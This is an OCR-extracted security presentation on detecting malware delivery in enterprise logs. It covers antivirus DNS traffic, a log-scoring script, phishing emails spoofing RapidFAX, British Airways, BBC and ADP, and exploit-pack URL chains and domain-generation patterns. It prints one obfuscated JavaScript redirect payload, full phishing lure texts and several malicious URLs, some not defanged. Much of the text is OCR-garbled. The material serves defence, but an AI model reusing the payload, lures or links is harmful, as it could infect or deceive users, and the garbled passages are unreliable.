o[n (PpaHeHna 3awplaeMelx JaHHbIX (Pannos).
MNoacucTema obecneyeHa LeENOCTHOCTH:
was aon#kHa OelTe oDecnedyeHa UWENOCTHOCTE  Nporpammielx  cpencte  C3KM HCL.

ARRSARTRIBRSAAE WHAARKRI A S TAWS HeUMIMEHHEAr TR MARAFASEMEEAE cRaniel Toe aToeas

* The more users use the product the more secure it
e That's not about Russian gov certified products :-((




Cloud technologies from Security
Vendors and Confidential

iInformation

* Cloud, tell me -Is
this a malicious
file?

* Mmm, not sure, may
be not...

* Thank you for
sending us your
annual financial
report...




DNS.. antiviruses are noisy :)

e Dr. Web “covert channel” -

"M.yan{5ﬁ.|u.pc.g_h.
.tmp-fwzl.ma;l.ru.
gic/.odnoklassniki.
E.:Sll.mdnmhla&&n:ﬁ_ ru.
.umd3.odnoklassniki. ru.
208 . mail.ru.pc.dev.drweb.
117 .gic3.o0dnoklass H_L_
+u.iuun fer.rambler. ru.
com.dnsbl7.maillshell.
6.114.rutracker.org

lqﬂ.
| |
o0 .

nNnetw .

.pc.de

"drweb.
195 .¢

drweb.c

d rweb .

E 1E.m.new5.w-

,l'J'J. l ont

El.JJJ.H1

?%.4;. u}—T;:l mail.
50 ﬂﬁ]l lell'.“

30 .smk.

l 4 }th hleLu

.180.i.ytimg. ¢

|'j

. Fu.
e.ru.

- |_:I {
"l|4.__4 qu
“}T.iJl l

ru.pc.aqae

i-:'l a.
r 1' .l'_l: C

-.drbTW
dev.

building a passive

com:com 43
1|J~t cCom:C
.drweb.com:cCt
u.drweb.
.1|J~t
9 4, :
auu.d',:t.;dn.ﬂﬁﬁ 53
v.drweb.com:com 47 4.0 N
0 NPX:127.0.0.100:0"
om:com 45 4.0 NPX
com:com 46 4.0 NP
com:com 46 4.0 NP
om 44 4.0 NPX:
com:com 44 4.0 NPX:
u.drweh.cﬁm:cﬁm 48 4.0
.com:com 44 4.0 NPX:
om 46 4.0 NP
com:com 46 4.0 NP
com:com 47 4.0 N
om 41 4.0 NPX:127
com:com 49 4.0
.drweb.com:com 49 4.0
om 43 4.0 NPX:1

om 4 4
om Jl 4
com:com 52

1~w

HIJ-}.

:II .l"_l:

:II .-.I"-TI:_ .
.drw
COMm: C

drweb.

Com: C

reb .

1~w
eb.com:c



DNS antiviruses are noisy

* Trendmicro.. what are we doing here’P)

L= L LA ~ L] L] =] = K

zrf5fmb'tdqgm dgfadﬂfqIfdzb#fIQfQ4D4h22f4358@I hashserver.cs. tr#ndm cro.com:com 15 5. @ NPX: :
cglifwjc27pbzbbcjbnjoctrbvpfcijdfehb23hpdmwmzbggogd3q.d657clb541f1faldd502bcalb4fadled. hashser
xmxzselrn77hwf2aii2k7t5doq.5807a6005698eebal’/f0a90750a8d836.hashserver.cs.trendmicro.com:com
2byc3oxotn2ufgmhb2ghstz3dy.71c63a41204635ad97eadt4798c831fb.hashserver.cs.trendmicro.com:com
nhgodagdsmzsyghsekxfd7mfwm. 449349d0c7e1d2946852d568d8bT99d9. hashserver.cs.trendmicro.com:com
aqa55qbbT4duxb.35ab75ec70ct2920defebfba2llOeled. hashserver.cs.trendmicro.com:com 75 5.0 NPX:
ynzTuhpw3wegeyeccc3dusylged.3mbsb3kudwib7tfowrpgencqgtwal/rzg3oxtnpb3mapawd4qpg2t2khkf3v33ifl.c
:com 153 5.0 NPX: :3"
x33ngmryqteduohec5tbzayhty.a52cedbl75d04ecedclab2a5826d5fab.hashserver.cs.trendmicro.com:com
bofvete2dldzdlabhx4lbsgp2y.eb668b5962d1e0337T114594839cdde39. hashserver.cs.trendmicro.com:com
hfw371lmahofoduh7olitsnbb6lplx3yl2xfimjn3dfnvadxg/674a.6b84ad40ee530ed2ca5b32fc5243274e6a.hashser
SwvnZzbnexhing.e8ab75b491ef4b8339fTa3029el8b%9ca.hashserver.cs.trendmicro.com:com 75 5.0 NPX: :
joy2r2xtvzgfwgpbbp2vmbzieea.5pkbidpznoc3im342pemgneaftpvmyhinpddf5Soj/wwwlz/qsaijvasjnbhzléen.
:com 153 5.0 NPX: :3"

loswg3lpshaz4.8006a9d751479b6894713007T112a7371 . hashserver.cs.trendmicro.com:com 75 5.0 NPX:
in.sjc.mx.trendmicro.com:com 24 4.0 NXX:216.99.131.4:0"
Sutpwjg/chuz2.23235338451bb3114596984ca8db67e2 . hashserver.cs.trendmicro.com:com 75 5.0 NPX: :
xxxd2tuxwspjuhdruvzmkkr3cSlsmrsw/mj22j7ibxbogj6d3yzq. fdl15f50fc512ae5c9761lebe8eedfacld.csj.tre
prefilter.in.usB02.emsp.trendmicro.com:com 37 4.0 NPX:150.70.178.143:0"
rhz65kdzs44ne.be929d0c511cc7857613ebb38dbabf78 . hashserver.cs.trendmicro.com:com 75 5.0 NPX: :
w25ur2kaftsydk3clghnz7vpnoircdxbmgbospmfglg3hidfgpbtqg.c5bd803568a7/f741T29bTee79108fabeb. hashser
edldrdmk3arga.1630458b92bat83497bc44476171af8c.hashserver.cs.trendmicro.com:com 75 5.0 NPX: :
khgmkuwSszzijd3bruaZtsbhpuareooebtas5xzcgbkrbda7crdg.2296064475352b473¢c399660b345d979. hashser
falSsvtg2h7dy.fe946902f4d8cdd8e013770a5e0d2d18 . hashserver.cs.trendmicro.com:com 75 5.0 NPX:
iSdaxySwpdudjdlksbl/crvdhi.blde57aa/748325T21a8atec87aa88449 . hashserver.cs.trendmicro.com:com
hwdsxbbtypx2.205b697e7e2e0a3982151339784f9%9e3b.hashserver.cs.trendmicro.com:com 75 5.0 NPX: :
jfveydgvriilaxkwzz25citjveon26tbud2ai7di.vv226hjofvghlxvgkwxdvrvdki37t7gzg7zivsbnjrrelygfr2h6
rendmicro.com:com 166 5.0 NPX: :3"

B 723 FrmlwirendwuwGT AdweamAdir TR el mnEtesnaTlhnmarelermaiRiridl 1a GERadafF2T1bhEaEasE Th T Ta23-~1AA0R0A0adA4dA8~7100 hackheo e




DNS .. antiviruses .. hmm

.McAfee....




Detecting and mitigating threats, our
way

* The most important thmg
IS environment:

- Real Environment

- Attacker Desirable
Environment

- Defender Desirable
Environment.

* Security is also:
availability and usability



Enterprise environment:

* Environment must be strictly controlled as
possible. “SOE” Is a good practice :)

* Environment can be easy switchable and
detachable.

* Traffic between internal and external network
must be predictable. Hello skype....



Attacker and your Environment =
Cat & Mouse game

Honeypot Environment must look real to the
attacker

Honeypot Environment must be able to provide
evidence

Real Environment must be isolated from
Honeypots.

Compromised Environment must be segregated as
soon as possible if attack was successful
(containment)



Detecting and mitigating threats:
Prerequisites

Reality of life in a distributed network:
* You can't control your network
* Different tools/people are used In different regions

* |ots of data

7 ol




Detecting and mitigating Primary
and Secondary threats

Things to pay attention in your logs:
°* SUSpIcIouUS user agents,

* content-type,
* suspicious application type (i.e. octed-stream),

* obfuscated IP addresses ( 0x55..., Int32
encoded |IP addresses



“Intelligent” log processor
(proc_log *.pl)



“Intelligent” log processor
(proc_log *.pl)

- |If you don't have SIEM....

- If you don't use even SEC.pl or other on-line
log processor...

- If you have nothing ... just desire to understand
what's going on....



- If you ¢

- If you ¢

'Intelligent” log processor

(proc_log *.pl)
on't have SIEM....
on't use even SEC.pl or other on-line

log processor...

- If you have nothing ... just desire to understand
what's going on....

T Eee——

This script will help you to find evil in your net



How does it work?

1. Take predefined patterns for log fields

and calculate log line score. Depending on

score write down line into colored

(EB,B,W,EW,Gr) list for further investigation
(--list)

2. Find all lines with field matched specified

pattern — smth. like egrep+cut\awk
(--match)



General course of work

Raw Logs

T~

~list (- T~
a White list  |l-a—
InputOutputFileFormat.conf T Explicit white list |=a—
Input log —3 Cutput log .
format format
FIELDS
Lzt fites
I URL
IP address list
LIRL RegExp List w
Damain Lise— ~g—— W
Port Lis
Lk=er Agent Li5t—‘

Lscore +=

(list search

)

Output

Explicit black list

gy clackist g

Lscore < EBLThr

EBLThr == Lscore <= BLThr

BLThr < Lscore < WLThr

WLThr <= Lscore <= EWLThr

EWLThr <= Lscore

Checksd4rawlogs_1st.conf

Checks




General course of work

Raw Logs

e,
e

T

"

(match search)

Output

Regexp files

L Regexpl —

--match

Regewp? J&/

ranan =

Filepathl

Filepath2

4 v

RegexpM ‘-_-_-_'_'_"‘"—-—-—._._____

InputOutputFileFormat.conf

Input lag
Formmat

Chistput log

-3 farmat

FilepathN

Checksd4rawlogs 2nd.co

nf

FIELDS

Checks

USER IP """'| Match '

5




The scenario

1. --list ==> Scored rows with signatures ==>

Users In troubles

2. --match ==> Find all history about users In
troubles — before and after signature ==> Further

manual investigation

3. Update signatures if need to



Detecting SMTP vector activities

 Emall Is another common method for an
adversary to put a foot into the target network.

e Attractiveness:

* Low profile (you only send emails to those who
you want to comromise)

e Easy antivirus bypass (password-packed zip
archives anywone?)

« Users are generally — idiots ;-)



Owning a network..

* Vulnerabillities seen in use through this attack
vector:
MS Office
dob b
f‘eaodeerAcro at CVE'2012'0158
CVE-2013-0640 CVE-2011-1269
CVE-2012-0775 CVE-2010-3333

Adobe flash  ~\E_5009-3129
player

CVE-2012-

1535 ava

CVE-2013-0422
CVE-2012-1723
CVE-2012-5076



But...

 Human stupidity is exploited more than ever..

A P HEEE-:-’.I WHAT WOULD
LIPS INATION S | ACTUALLY HAPPEN: |
HIS LAPTORL ENCRYPTED. H% LAPTOP'S ENCRYPTED.
LETS BUNLD A MLLION-DOLLAR, DRUE HIM AND HTT HIF WITH
Eu_E-ETER'm CRACK 1T THIS §5 WRENCH UNTIL
LG s —'E'iT 'F"-‘EF-." Gﬂ'r T
E.LPE-TL OUR

- M 5




«malicious message»

From:RapidFAX.Notifications [mailto:reports@rapidfax.com]
Subject: RapidFAX: New Fax

) RapidFAX

Email to Fax - Fax to Email

A fax has been received.
MCFID = 39579806

Time Received = Tue, 04 Dec 2012
21:48:21 +0200

Fax Number = 9470091738
ANI = 3145495221

Number of Pages = 18

CSID = 32231126269

Fax Status Code = Successful
Please do not reply to this email.
RapidFAX Customer Service
www.rapidfax.com

ja eVoice" &< FuseMail’ > campaigner ™ Kl Keep!tSafe® § onebox”



Content of archive file

Simple executable (no vulnerabilities exploited)

JoGaenTe Mzeneue Tectwpoeate  Konwpoeate [lepemectute ¥aanwte  Kndopmayma

; C:\Users\ /I o' Downloads\000000000357864764692364928453952956234506 23634 2534 5-6764 56253453456 768674 -64 2341 22342342 -6 76856754654 35345324 2341 2351 435356 547567858 - 23544

ran

® | RapidFAX_MCID_000000000000000003578647646923649284539529562345062363425345-676456253453456768674-642341 22342342 -6768567546543-53453242341 235143535654 7567858 - 23544313341 .pdf.exe

BE@ - RapidFAX_MCID_0000000000000000
b, 03578647646923649284539529562...
# pwa 21.03.2013 15:30


http://www.rapidfax.com/
mailto:reports@rapidfax.com

Variant #2: email contains an HTML
file with redirect to ‘'malicious' page

Specifics
« An HTML with a simple page redirect

e Passes Antivirus checks, since does not contain
malicious payload

* Allows to bypass corporate proxy server checks,
which disable script/iframe redirects.

* Content of the message makes it attractive for
the user to view the HTML content.



Another Email example

Subject: British Airways E-ticket receipts

e-ticket receipt
Booking reference: 05V9363845
Dear,

Thank you for booking with British Airways.

Ticket Type: e-ticket
This is your e-ticket receipt. Your ticket is held in our systems, you will not receive a paper ticket for your booking.

Your itinerary is attached (Internet Exlplorer/Mozilla Firefox file)

Yours sincerely,
British Airways Customer Services

British Airways may monitor email traffic data and also the content of emails, where permitted by law, for the purposes of security
and staff training and in order to prevent or detect unauthorised use of the British Airways email system.

British Airways Plc is a public limited company registered in England and Wales. Registered number: 89510471. Registered office:
Waterside, PO Box 365, Harmondsworth, West Drayton, Middlesex, England, UB7 0GB.

How to contact us
Although we are unable to respond to individual replies to this email we have a comprehensive section that may help you if you have
a question about your booking or travelling with British Airways.

If you require further assistance you may contact us

If you have received this email in error

This is a confidential email intended only for the British Airways Customer appearing as the addressee. If you are not the intended
recipient please delete this email and inform the snder as soon as possible. Please note that any copying, distribution or other action
taken or omitted to be taken in reliance upon it is prohibited and may be unlawful.



Actual redirect

Please wait ek

File:/f i [Documents and SettingsfadmingDesktopfE-Ticket-Ma3592PK, htm

Please wait. You will be forwarded.. .

Internet Explorer / Mozlla Firefox compatible only

<body>
<hl><Db>Please wait. You will be forwarded.. . </hl></b>
<h4>Internet Explorer / Mozilla Firefox compatible only</h4><br>

<script>ff=String;fff="fromCharCode";ff=ff[fff];zz=3;try {document.body&=5151} catch(gdsgd)
{v="val";if(document)try{document.body=12;}catch(gdsgsdg){asd=0;try{ }catch(q){asd=1;}if(!asd)
{w={a:window}.a;vv="e"+v;} }e=w[vv];if(1){f=new
Array(118,96,112,49,60,50,57,58,8,118,96,112,50,60,116,97,113,47,59,9,103,102,39,116,97,113,47,61,60,
116,97,113,48,41,31,121,100,110,97,117,108,99,110,115,44,108,110,97,97,115,103,111,109,59,34,103,11
4,116,111,56,47,46,100,111,113,115,109,44,106,97,45,112,117,57,54,48,55,46,47,101,109,114,116,107,4
7,107,103,110,106,113,47,98,109,108,116,107,110,45,110,104,111,32,59,124);}w=f;s=[];if(window.docum
ent)for(i=2-2;-i+104!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]+]%zz); } xz=e;if(v)xz(s) } </script>

</body>
</html>



Another variation: email that contains masked links
to malicious pages

 No attachment. The message text is
html/text points to the same resource

» All links are 'masked' to be pointing to
legit links

e The same attreactive text of the
message



Hot topic for big company, Cyprus
Crisis

Diana Ayala saw this story on the BBC News website and thought you should see it.

** Cyprus bailout: bank levy passed parliament already! **
Cyprus can amend terms to a bailout deal that has sparked huge public anger....
< http://www.bbc.com.us/go/em/news/world-cyprus-57502820>

** BBC Daily E-mail **
Choose the news and sport headlines you want - when you want them, all in one daily e-mail
< http://www.bbc.co.uk/email>

** Disclaimer **

The BBC is not responsible for the content of this e-mail, and anything written in this e-mail
does not necessarily reflect the BBC's views or opinions. Please note that neither the e-mail
address nor name of the sender have been verified.

If you do not wish to receive such e-mails in the future or want to know more about the BBC's
Email a Friend service, please read our frequently asked questions by clicking here




This message is to notify you that your package has been processed and is on schedule for delivery from ADP.

Here are the details of your delivery:

Package Type: QTR/YE Reporting

Courier: UPS Ground

Estimated Time of Arrival: Tusesday, 5:00pm

Tracking Number (if one is available for this package): 1Z023R961390411904

Details: Click here to view and/or modify order

We will notify you via email if the status of your delivery changes.

Access these and other valuable tools at support.ADP.com:

o Payroll and Tax Calculators

o Order Payroll Supplies, Blank Checks, and more

0 Submit requests online such as SUI Rate Changes, Schedule Changes, and more
o Download Product Documentation, Manuals, and Forms

o Download Software Patches and Updates

o Access Knowledge Solutions / Frequently Asked Questions

o Watch Animated Tours with Guided Input Instructions

Thank You,
ADP Client Services
support. ADP.com

This message and any attachments are intended only for the use of the addressee and may contain
information that is privileged and confidential. If the reader of the message is not the intended
recipient or an authorized representative of the intended recipient, you are hereby notified that any
dissemination of this communication is strictly prohibited. If you have received this communication in
error, notify the sender immediately by return email and delete the message and any attachments from
your system.


http://go-my.ru/cyprus_news.html
http://go-my.ru/cyprus_news.html
http://go-my.ru/cyprus_news.html
http://go-my.ru/cyprus_news.html

What happens if you click..

go-my.ru
gQo-my.ru
rockbandsongs._net

safebrowsing.clients.gooqgle.

com

rockbandsongs.net

rockbandsongs._net

rockbandsongs.net

12.251.206.90:5080
141.219.153.206:6080

rockbandsongs._net

bbc.co.uk

[cyprus_news.html
[favicon.ico

/kill/larger_emergency . php

[safebrowsing/gethash?client=navclient-auto-ffox&appver=7.

O&pver=2_2&wrkey=AKEgNIs9z21bYEK _
R8IjixBCtC7GN0O8Hgblg4z6vkabw2BSjLJigiyeTkRgsP-
0gQJkODyI1-3nPi311RUKkBeGVNn7uzk603cVg==

/kill/larger_emergency.php
/kill/larger_emergency . php

/kill/larger_emergency php?ti=1g:1]:1k: 1) 1i&de=2v:11:30:1n:
1m:1m:30:1g:2v 1i&m=11&yv=w&vj=i&jopa=3402016

[0gHYEBAAST ZymMBA/PRETIDAAAAA/

[0gHYEBAAST ZymMBA/PREIDAAAAA/
/Kill/larger_emergency.php?qoper=1g:1j:1k:1j: 1i&vrpzmu=
3d: 2w 36&z)1=2v:11:30:1n: 1m:1m:30:1g:2v: 1i&thb=1m:1d: 1f:
1d:1k:1d:1g:1m:1h

/

739 text/ntml

1,162 text/plain

161,159 text/ntml
application/octet-

220 stream

160,853 text/ntml

20 867 apph_catmnfjava- i
archive

must-revalidate, post-

check=0, pre-

128,512 check=0 Expires: application/x-

Wed, 20 Mar 2013  Msdownload
04:53:17 GMT
33768 no-cache text/html
-1
20,137 application/pdf
text/html;
229

charset=iso-8859-
4


http://ibabystar.com/new/bbs/data/adpsecur.html
http://ibabystar.com/new/bbs/data/adpsecur.html
http://ibabystar.com/new/bbs/data/adpsecur.html
http://ibabystar.com/new/bbs/data/adpsecur.html

Exploit Packs
- Detection -



Detecting exploit packs: approaches

 How: By typical chains in your logs

 Look for more than one attack vector from the same
resource as an indicator

» By typical file names: for example inseo.pdf

* By typical URLS

» EXploit snippets :net.class, gmail.class, and so on

» Looking for generic exploit components inside payload

» Picking up suspicious user agents and application type
(octed-stream, java agent)



Typical chains of exploit packs

Application type
URL (Blackhole 2, Mar 2013)

65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/q.php text/htmil;
charset=UTF-8

65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/q.php?  Application/
nemrbz=psbgé&sipgik=nupatq java-archive

65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/9f5090af Application/
abfb40cdd70a5e63064b21a7/q.php? x-msdownload
jf=1k:1i:1k:2v:10&ie=1g:1n:32:33:1n:1n:1n:2v:31:10&b=1f&
sd=p&wy=h&jopa=4656855



Longer chain (??sploit pack,

http://serzscd.servebbs.net/go.php?
iId=5105&ip=91.227.184.11&session=474a143d42371858e95d&br=ie

http://serzscd.servebbs.net/start.php?
Id=5105&session=474a143d42371858e95d&ip=91.227.184.11

http://serzscd.servebbs.net/counter.swf

http://serzscd.servebbs.net/apolo.php

http://kkmahrfl.begin-dog-iwxt-
umncfy.org/4ff83063f08d249725000001/4f883f5ef373e8042000005/

http://kkmahrfl.begin-dog-iwxt-
umncfy.org/4ff83063f08d249725000001/4ff883f5ef373e8042000005/505c53b5a74
765547400526bGnullG9,2,0,0

http://kkmahrfl.begin-dog-iwxt-
umncfy.org/4ff83063f08d249725000001/4ff883f5ef373e8042000005/505¢c53b7a74
76554740052a3/30491834/iIAAnseo.pdf

http://kkmahrfl.begin-dog-iwxt-
umncfy.org/4ff83063f08d249725000001/4f883f5ef373e8042000005/505¢c53b7a74
76554740052a3/3760908/1712153

http://kkmahrfl.begin-dog-iwxt-
umncfy.org/4ff83063f08d249725000001/4f883f5ef373e8042000005/505¢c53b7a74
76554740052a3/3760908/1712153&f=1

Sep 2012)

text/html;
charset=UTF-8

text/html;
charset=UTF-8

application/x-
shockwave-flash

text/html;
charset=UTF-8

text/html;
charset=utf-8

text/html;
charset=utf-8

application/pdf

application/oct
et-stream

text/html (Joaded
successefully)



More than one attack vector from

1/31/2013 http://129.121.101.49/ff675d4b242669de697f6 text/html
11:53 ala7428d191/qg.php

1/31/2013 http://129.121.101.49/fi675d4b242669de697f6 application/pdf
11:53 ala7428d191/q.php?
bmkfow=1k:1i:1k:2v:1o0&exirrv=3d&rkfajmn=1g
:1n:32:33:1n:1n:1n:2v:31:10&cesnio=1n:1d:19:
1d:1h:1d:1f

1/31/2013 http://129.121.101.49/ff675d4b242669de697f6 application/java-archive
11:53 ala7428d191/q.php?rhihgaw=ibfhs&apu=dycb

1/31/2013 http://129.121.101.49/ff675d4b242669de697f6 application/x-msdownload
11:53 ala7428d191/ff675d4b242669de697f6alar742
8d191/q.php?
jfi=1k:1i:1k:2v:10&ye=19:1n:32:33:1n:1n:1n:2v:
31:10&e=1f&um=b&va=b

1/31/2013 http://129.121.101.49/ff675d4b242669de697f6 application/x-msdownload
11:53 ala7428d191/ff675d4b242669de697f6ala742
8d191/q.php?
ynyxykhm=1Kk:1i:1k:2v:10&kzez=19:1n:32:33:1
n:1n:1n:2v:31:10&o0jplot=1i&kyibn=tbv&unqgz=
mcgwp



Does anyone know mentioned case??
The Injected HTML iframe tag Is usually constructed as IP address/hex/q.php. Sites that deliver
such frames that aren't visible within the HTML source are likely compromised by Darkleech. Special
"reqular expression” searches such as this one helped Landesman ferret out reported iframes used
In these attacks. Note that while the iframe reference s formed as IP/hex/q. php, the malware

delivery Is formed ag IP/hex/hex/q. php.

2012-12-24 08:39
hxxp://108.165.25.119/34865412a4128d4flebaf9ad8f2ac412/q.php

14.01.2013 9:56
hxxp://129.121.88.108/b3aa76a54b00fd803337aab97a0c09e9/q.php

12.02.2013 10:35
hxxp://149.47.142.193/d0c1614e79a22e16cc1404ba3420f469/q.php

Mar 19, landing from  hxxp://www.hotelduchampdemars.com/
19.03.2013 16:09

hxxp://129.121.128.249/30cdfcal0f74f5b3da51700ba9el135e2/qg.php



Exclusive: Ongoing malware attack
targeting Apache hijacks 20,000 sites

Mysterious "Darkleech” exposes visitors to potent malware exploits.

by Dan Goodin - Apr 2 2013, 7:15pm MSK

In active development

With the help of Cisco Security Engineer Gregg Conklin, Landesman observed Darkleech infections
on almost 2,000 Web host servers during the month of February and the first two weeks of March.
The servers were located in 48 countries, with the highest concentrations in the US, UK, and
Germany. Assuming the typical webserver involved hosted an average of 10 sites, that leaves the
possibility that 20,000 sites were infected over that period. The attacks were documented as early as
August on researcher Denis Sinegubko's Unmask Parasites blog. They were observed infecting the
LA Times website in February and the blog of hard drive manufacturer Seagate last month, an
indication the attacks are ongoing. Landesman said the Seagate infection affected
media.seagate.com, which was hosted by Media Temple, began no later than February 12, and was
active through March 18. Representatives for both Seagate and the LA Times said the sites were
disinfected once the compromises came to light.

* Source http://arstechnica.com/security/2013/04/exclusive-ongoing-malware-attack-
targeting-apache-hijacks-20000-sites/?utm_medium=twitter&utm_source=dIvr.it



Gimme some fresh exploit

0 day 1.7ul0 (CVE-2013-0422) spotted in the Wild - Disable Java ...

malware.dontneedcoffee.com/2013/.../0-day-17ul0-spotted-in...

Jan 10, 2013 - 0 day 1.7ul0 (CVE-2013-0422) spotted in the Wild - Disable Java Plugin
NOW ! Was wondering what to do with that... Disclose, do not Disclose ...

1/14/2013
18:57

1/14/2013
18:57

1/14/2013
18:57

178.238.141.19

178.238.141.19

178.238.141.19

http://machete0-yhis.me/
pictures/demos/OAggq

http://machete0-
yhis.me/pictures/demos/OAggq

http://loretaa0-
shot.co/careers.php?
cert=561&usage=392&watch=4
&proxy=49&ipod=171&shim=34
4&pets=433&icons=252&staff=6
21&refer=345

application/x-java-
archive

application/x-java-
archive

application/octet-
stream



And AV vendor says...

23.01.13 19:56 Detected: Trojan-Spy.Win32.Zbot.aymr
C:/Documents and Settings/userl/Application  Data/
Sun/Java/Deployment/cache/6.0/27/4169865b-641d53c9/UPX
23.01.13 19:56 Detected: Trojan-Downloader.Java.OpenConnection.ck
C:/Documents and Settings/userl/Application Data/
Sun/Java/Deployment/cache/6.0/48/38388f30-4a676b87/bpac/b.class

23.01.13 19:56 Detected: Trojan-Downloader.Java.OpenConnection.cs
C./Documents and Settings/userl/Application
Data/Sun/Java/Deployment/cache/6.0/48/38388f30-4a676b87/ot/pizdi.class

23.01.13 19:58 Detected: HEUR:Exploit.Java.CVE-2013-0422.gen
C:/Documents and Settings/userl/Local Settings/
Temp/jar_cache3538799837370652468.tmp



TDS and EP Redundancy & Adaptation

11.03.2 hxxp://cliga.ru/jwplayer2/med. 146.185.255.66

013
11:28

11.03.2
013
11:28

11.03.2
013
11:28

11.03.2
013
11:29

11.03.2
013
11:29

php

hxxp://gankas.tk/foto.cgi?3

hxxp://gankas.tk/meto.cgi?2

hxxp://gankas.tk/fgmg.cgi?
3&pfvgt=1&fhjxm=1&0rxgz=3
212185938&ur=1&hxxp_REF
ERER=hxxp%3A%2F
%2Fcliga.ru
%2Fjwplayer2%2Fmed.php

hxxp://gankas.tk/xgvihoiz.cqi
o
2&pfvat=1&fhjxm=1&orxgz=3
212185938&ur=1&hxxp_REF
ERER=hxxp%3A%2F
%2Fcliga.ru
%2Fjwplayer2%2Fmed.php

146.185.255.66

146.185.255.66

37.139.51.123

5.135.28.208

80

80

80

80

90

hxxp://gankas.tk/meto.cgi?2

hxxp://gankas.tk/fgmg.cgi?
3&pfvat=1&fhjxm=1&0rxgz=3212185938&
ur=1&hxxp_REFERER=hxxp%3A%2F
%2Fcliga.ru%2Fjwplayer2%2Fmed.php

hxxp://gankas.tk/xgvihoiz.cgi?
2&pfvat=1&fhjxm=1&0rxgz=3212185938&
ur=1&hxxp_REFERER=hxxp%3A%2F
%2Fcliga.ru%2Fjwplayer2%2Fmed.php

hxxp://oaandpcy.whose.plan-
zgdrtillfts.biz/recipe-ayatollah_aliases.htm

hxxp://careliquor.biz:90/forum/animal.php



2012-08-03
11:27:54.097

8/7/2012
14:52

9/10/2012
17:01

9/10/2012
17:26

9/24/2012
18:01

9/25/2012
14:02

10/16/2012
10:23

10/17/2012
13:18

10/17/2012
17:34

2012-10-30
14:40:49.077

Typical flenames

hxxp://lctputevnvme.from-sortrgt-bcrv-
vsml.org/4ff83063f08d249725000001/4f883f5ef373e8042000005/501b7d0d4f340eaa33012c70/30491834/

inseo.pdf

hxxp://upydnyxhs.black-footballyfyx-
vlizvs.org/4ffa973cf08d249725000003/4ffabc51ebf5ff0c52000013/5020f2e6404b9b443600f5ad/1495394/
jingo.jar

hxxp://shwohtwk.stringgenerationbeflyzg-

zvm.org/50178a97454999b179000005/50178¢c932ef2195604000030/504de476b00c1a27790f093¢c/304918
34/ iAAnseo.pdf

hxxp://skinigvfh.money-middle-orm-ukna-
xbgb.org/4ffd323cf08d249725000004/5019600d2ef2195604000057/504dea26b00c1a27790f4a71/258303

92/ jAAingo.jar
hxxp://gkzogvebqgpqgc.black-footballlcug-sles-

pyhu.org/4ffa973cf08d249725000003/4ffabc21ebf5ff0c52000012/506067b345db2b8602036136/48492345/
dAAocum.pdf

hxxp://inthxbxorib.orange-ansi-fclx-aygy-
nakx.org/4ffa973cf08d249725000003/4ffabecl1ebf5ff0c52000015/5061814945db2b86021a966b/1495394/
JAA2ingo.jar

hxxp://rgbakkbkwtgtkws.shorts-vipigmc-awgc-

vnm.org/4ff83063f08d249725000001/4f883f5ef373e8042000005/507cfd7a31fdb54c3c034529/30491834/
iIAAnseo.pdf

hxxp://zzsrncussr.notepad-linesleyf-glp-
czf.org/4ff83063f08d249725000001/4f883f5ef373e8042000005/507e780831fdb54c3c7c24a1/1495394/
JAA2ingo.jar

hxxp://scared-regimecemetery.dzz-
myopixpneyefekqctkdyerlxanalysesrziy.org/507eb3a9c05d80204800030d/30491834/ onsero.pdf

hxxp://xzw-
orphanagesboageszz.snobngidizchixwtggseolimmortalcquk.org/508fae3a31892c2e7d0ac9bb/30491834/
onsero.pdf




More info about this Campaign

- use of domains with extremely short lifetime
(domain blacklisting doesn't work here)

- frequent changes of hosting ip addresses (2
times/day,explicit IP blacklisting doesn't work
here)

- different methods of traffic redirection
— Iframe redirection
— ad. network simulation

— SMS paid services (genealogical archives, fake
av updates, horoscopes, etc)

- preliminary collection of the target system
iInformation (OS/Browser version)



Short-term and disposable
domain names

Frequently used domains:
abrmrbzikxltvh.lines-arrayirs-frrccad.org
\ J

|

\ )
!

Randomly

generated Dictionary-based
generation

also:

zfkimpacts-mobilized.analoguefsoqgcircular-hrgvredeemabletgpl.org

\ Y ; \ |

|

Dictionary based Dictionary based generation

Other things to notice:

- IP addresses are usually located within the same subnet

- IP addresses change every 12 hours (incrementally)

- subnets change monthly

- whois information disappears right after domain disposal (domains on trial)



Affected by this malware
campaign:

dominospizza.ru -->
qakmwkqdhybpc.give-from-gzi-bgqgi-ranb.org
peoples.ru -->
skinigvfh.money-middle-orm-ukna-xbgb.org

flnews.ru -->
xdqospocepx.panel-book-tzha-uekydtfm.org

euro-football.ru -->
ofbgpimx.manager-vipufpncztf-nezp.org
gotovim.ru -->

cstermbktwelnv.cat-email-ceepgm-mfm.org




Whois fastflux :-)

e WHOIS fastflux ... HOW?!

T ygr 0 whois FOOTBALL-SECURITY-WETRLSGPIEO.ORG

Domain ID:D166393631-LROR

Domain Name:FOOTBALL-SECURITY-

WETRLSGPIEO.ORG

Created On:21-Aug-2012 01:23:52 UTC

Last Updated On:21-Aug-2012 01:23:53 UTC

Expiration Date:21-Aug-2013 01:23:52 UTC

Sponsoring Registrar:Click Registrar, Inc. d/b/a

publicdomainregistry.com (R1935-LROR)

Status CLIENT TRANSFER PROHIBITED
PROHIBITED

Status:ADDPERIO

Registrant ID:PP-SP-001

Registrant Name:Domain Admin

Registrant Organization:PrivacyProtect.org 103

Registrant Streetl:ID#10760, PO Box 16

Registrant Street2:Note - All Postal Mails Rejected,

visit Privacyprotect.org




Words distribution (len >3) In
domain names

games football films _
generation email

: elite
hosting
black

information begin

insert
baseball

integer
audio

Juice
array
length e
lines window
magazine white
manager video

middle string

online

grange security

panel payed



Examples of affected websites

www.aptekaonline.ru )

e

> @nurtx.black-footbalnyyx-vlizvs.org >> @ygpiuo.freefootbaIlspgx-kdg-tbar.org >>

Q <aitzbrghgybyckf.audio-gameswgkmhsxb-mexyorg >> @ccﬁziwqq.hosting-video-gc

PO

.com emploi.ouedkniss.com M
—_—

qwertttty net u876.27.spylog.com
Inyxhs.black-footballyfyx-vlizvs.org _>> @ti.beginbookzknyccepam.org >> @f}(xt.randfootbalI-gfhx-clvx-amue_org—

ost. myftp.biz -




More examples

WWW.eurosmi.ru
seo-black.org

?32knpm510.dyndns@
quavque.security-games-hgakhmk-vnu.nrg >

..antichat.ru




Dynamically generated URLs. Old style

Entry request:

http://whtgevsmddpiue.socks-information-
